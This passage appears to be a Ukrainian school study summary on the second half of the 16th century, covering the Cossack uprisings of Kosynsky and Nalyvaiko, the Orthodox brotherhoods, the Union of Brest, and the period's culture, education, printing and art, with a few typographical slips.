польський уряд боявся поширення впливу козацтва, особливо після узаконення Третім Литовським статутом кріпацтва, що зумовило посилення виступів селян і міщан, масові втечі народу на Запоріжжя; намагання польської влади взяти під контроль українське козацтво, усвідомлення ним наприкінці XVI ст – своєї окремішності від інших станів, початок боротьби за власні права; розгортання експансії польської шляхти на відносно вільні українські землі, освоєні раніше українцями, зіткнення інтересів козацтва і шляхти.

Першим серйозним виступом козацтва було повстання 1591-1593 рр. на чолі з Криштофом Косинським, яке зазнало поразки. Повстанці програли бій під П’яткою, а згодом керівника виступу було вбито. Майже без перерви розпочалося наступне повстання – 1594-1596 рр. під керівництвом Северина Наливайка, а також Григорія Лободи та Матвія Шаули. Повсталі тривалий час обороняли укріплений табір в урочищі Солониця поблизу Лубен, але зрада відкрила шлях до кривавої розправи. Страчені були і керівники повстання.

Наслідки перших козацьких повстань:

козацтво вперше проявило себе новою суспільною силою, що розпочала боротьбу за станові права; козацтво фактично очолило визвольний рух в Україні, не маючи програми боротьби; набуття козацтвом досвіду управління великими масами населення на значній території; спричинення масового покозачення селян і міщан, розуміння козацьких порядків, як кращих за польські; спроба поширення прав і привілеїв реєстровців на все козацтво; уперше висунута ідея створення окремої козацької території, де не було б втручання польської влади.

Діяльність православних братств. Братський рух

У XVI ст. Європу охопила Реформація – суспільно-політичний рух. спрямований проти католицької церкви, який поклав початок новому напрямові в християнстві – протестантизму. Вплив реформаційних ідей засвідчує і діяльність православних братств – національно-релігійних громадських об’єднань міщан при православних церквах. 1586 р. за Львівським Успенським братством установлювалося право зверхності над іншими братствами та контроль за духівництвом.

Становище православної церкви:

постійне порушення прав церкви, призначення на посади єпископів замість виборності, надання посад світським особам, розпоряджання церквами і монастирями на підставі права власності, поширення католицизму; відсутність високої освіти серед духовних осіб, деморалізація митрополитів І єпископів, які фактично зраджували свою церкву і народ, втручання світських осіб і держави у справи церкви; православні святині приходили в запустіння, грабувалося і нищилося церковне майно; проголошення у Москві самостійного патріархату, його недвозначні наміри щодо українських земель.

Утворення греко-католицької церкви

Представники вищого духівництва, українські магнати і шляхта стали схилятися до ідеї об’єднання з римо-католицькою церквою, вважаючи, що воно:

дозволить зрівняти в правах православних ієрархів з католицькими; сприятиме тіснішому зближенню з західноєвропейською культурою; стане засобом оновлення православної церкви, піднесення її до потреб часу.

Для цього було скликано Берестейський церковний собор (1596 р.). На ньому відбувся розкол. Значна частина шляхти і міщан, селянство не підтримувало ідею унії. Боротьбу з нею очолив В.-К. Острозький. Та все ж попереднє рішення про союз православної та римо-католицької церкви було ухвалено. Основні умови:

– визнання зверхності Папи Римського як першоієрарха всієї християнської церкви; – збереження за нижчим духівництвом права одружуватися на відміну від латинського духівництва; – збереження православної візантійської обрядовості та юліанського календаря; – зрівняння у правах українського духівництва з польським у Речі Посполитій; – навчання у школах і семінаріях на українських землях вести грецькою та слов’янською мовами; – проведення богослужінь церковнослов’янською мовою.

Наслідки Берестейської церковної унії

– утворення Української греко-катрлицької церкви, яку очолив митрополит Михайло Рогоза;

– замість однієї церкви виникло дві. Православна церква залишилася без найвищої ієрархії;

Українська православна церква не припинила пошуку шляхів свого оновлення;

– фактичного зрівняння суспільного становища греко-католиків і католиків не відбулося;

– загострення протистояння на релігійному грунті, захист православ’я стан основним гаслом у національно-визвольній боротьбі на найближчі півстоліття.

Розвиток культури й освіти. Умови розвитку української культури п XVI ст. були неоднаковими для різних земель. Погреба національного самозбереження зумовила піднесення української культури. За відсутності держави це була єдина галузь, де українці могли берегти свою самобутність. Тривала традиція застосування двох літературних мов: книжної староукраїнської мови (її називали простою мовою) та слов’яноруської мови. Проста мова була наближена до розмовної і широко використовувалася.

Саме цією мовою було перекладено Біблію – знамените Пересоппицькс Євангеліє, яке зробили в 1556-1561 рр. архімандрит місцевого монастиря Григорій і син протопопа із Сянока Михайло Василевич.

Здобутки в галузі освіти та науки. Початкові школи діяли при церквах і монастирях. Виникли греко-католицькі школи (Холм, Володимир), єзуїтські колегіуми (Львів, Луцьк, Перемишль, Ярослав), протестантські школи (Киселип – академія, Берестечко, Г’оща). Школи організовували також братства, славилася зокрема школа Львівського братства.

Найвизначнішим явищем освіти другої половими XVI ст. була Острозька академія (1578 р.), створена на основі острозького культурно-освітнього осередку, який зібрав у своєму родовому маєтку в 1576 р. князь В.-К. Острозький. Першим ректором закладу був Г. Смотрицький, учений і письменник, автор низки полемічних трактатів, зокрема твору “Ключ царства небесного” (1587 р.). У школі викладалося “сім вільних наук”, Грунтовно вивчалися мови (у тому числі латинська), навчання передбачало здобуття початкової та середньої освіти з елементами вищої. В академії працювали найкращі українські вчені та педагоги, а також деякі закордонні спеціалісти. Серед вихованців закладу багато видатних особистостей, наприклад, Петро Сагайдачний.

Книгодрукування. В Острозі кілька років працював і видав справжній шедевр (Острозьку Біблію, 1581 р.) Іван Федоров (Федорович). До цього він у 1574 р. видав у Львові “Апостол” і “Буквар”. Серед перших підручників була “Граматика словенська” (1596 р.), автором якої був Лаврентій Зизаній.

Усна народна творчість. Творцями і виконавцями дум та історичних пісень були кобзарі, які сприяли розвиткові музичного мистецтва та своєрідної поезії, популярні обрядові й історичні пісні.

Література. Серед письменників, що писали латиною, зажили слави С. Кленович (поема “Роксоланія”) і С. Оріховський-Роксолан. Поява полемічної літератури (Г. Смотрицький, І. Вишенський, І. Потій).

Архітектура. Зусиллями Львівського Успенського братства у Львові постав ансамбль Успенської церкви, що належить до найкращих пам’яток ренесансної архітектури. Провідне місце в архітектурі Відродження належало світським будівлям – ратушам, замкам, палацам, житлам міщан (будинок Корнякта у Львові), хоча не втрачало свого значення і будівництво оборонних споруд (перебудова замків у Луцьку, Кам’янці-Подільському, Меджибізький замок, Острозький замок).

Образотворче мистецтво. Продовжували розвиватися мистецтво мініатюри та іконопису, серед яких слід виділити ікону Успіння Богородиці перемишльського маляра Олексія Горошковича (1547 р.) та мініатюри Пересопницького Євангелія (між 1556 і 1561 рр.). Поява монументальної скульптури, набув поширення скульптурний портрет, виняткової майстерності досягли українські митці у створенні іконостасів. З появою друкарства особливої популярності набула гравюра. Високою майстерністю відзначалися графічні зображення “Апостола” й Острозької Біблії. Розвивалося декоративно-ужиткове мистецтво. Отже, культурне життя в другій половині XVI ст. можна визначити як початок національно-культурного відродження.

Хронологічний довідник: Українські землі в другій половині 16 ст

Персоналії: Українські землі в другій половині 16 ст

Терміни: Українські землі в другій половині 16 ст